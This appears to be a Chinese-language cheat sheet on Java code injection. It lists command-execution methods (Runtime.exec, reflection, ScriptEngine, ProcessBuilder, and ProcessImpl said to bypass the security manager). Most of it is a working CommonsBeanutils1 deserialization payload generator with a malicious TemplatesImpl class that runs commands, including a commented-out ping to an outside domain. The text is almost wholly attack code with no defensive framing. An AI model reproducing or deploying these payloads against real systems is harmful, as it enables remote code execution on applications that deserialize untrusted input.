代码注入(常见汇总)
代码注入常用方法：
1：Runtime
Runtime.getRuntime().exec("calc");反射：
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),"calc");执行命令并返回结果：
String s=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).lines().collect(Collectors.joining("n"));2：ScriptEngineManager
ScriptEngineManager scriptEngineManager=new ScriptEngineManager();
scriptEngineManager.getEngineByName("javascript").eval("java.lang.Runtime.getRuntime().exec('calc')");3：ProcessBuilder
ProcessBuilder processBuilder=new ProcessBuilder("cmd","/c","dir");
Process process=processBuilder.start();4：ProcessImpl
可以绕过安全管理器
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz,new String[]{"calc"},null,null,null,false);5：SerializationUtils
User user=new User();
//生成对象的二进制字节数组，并将二进制数组转换为16进制字符
byte[] userbyte= SerializationUtils.serialize(user);
String userHex= DatatypeConverter.printHexBinary(userbyte);
System.out.println("user对象16进制："+userHex);
//16进制字符转换为二进制字节数组，并将二进制转换回对象
byte[] userbute2=DatatypeConverter.parseHexBinary(userHex);
User userobject=SerializationUtils.deserialize(userbute2);
System.out.println(userobject.Name);1.反序列化
1.1反序列化payload生成
代码：
序列化数据生成
public static byte[] CommonsBeanutils1() throws Exception {
// createTemplatesImpl方法生成攻击载荷
TemplatesImpl obj = new TemplatesImpl();
// 插入恶意字节码
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// 生成序列化字符串，可根据实际需要修改序列化库
//RedisSerializer serializer = new JdkSerializationRedisSerializer();
byte[] bt=SerializationUtils.serialize(queue);
// byte[] d = serializer.serialize(queue);
String hex= DatatypeConverter.printHexBinary(bt);
System.out.println(hex);
GzipUtils gzipUtils=new GzipUtils();
//String base64=gzipUtils.gzip(hex);
//int length=base64.length();
// 输出序列化字符串至指定文件jalorCommonsBeanutils1.binary
//String hex2=gzipUtils.jyZip(base64);
ObjectOutputStream oos1 = new ObjectOutputStream(new FileOutputStream(new File("jalorCommonsBeanutils1.binary")));
oos1.write(bt);
oos1.close();
//serializer.deserialize(bt);
SerializationUtils.deserialize(bt);
return bt;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}恶意代码类
public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
//Runtime.getRuntime().exec("touch /tmp/dsptest01");
Runtime.getRuntime().exec("calc");
//Runtime.getRuntime().exec("ping wmfhaha.bbb.faoxx.online");
}
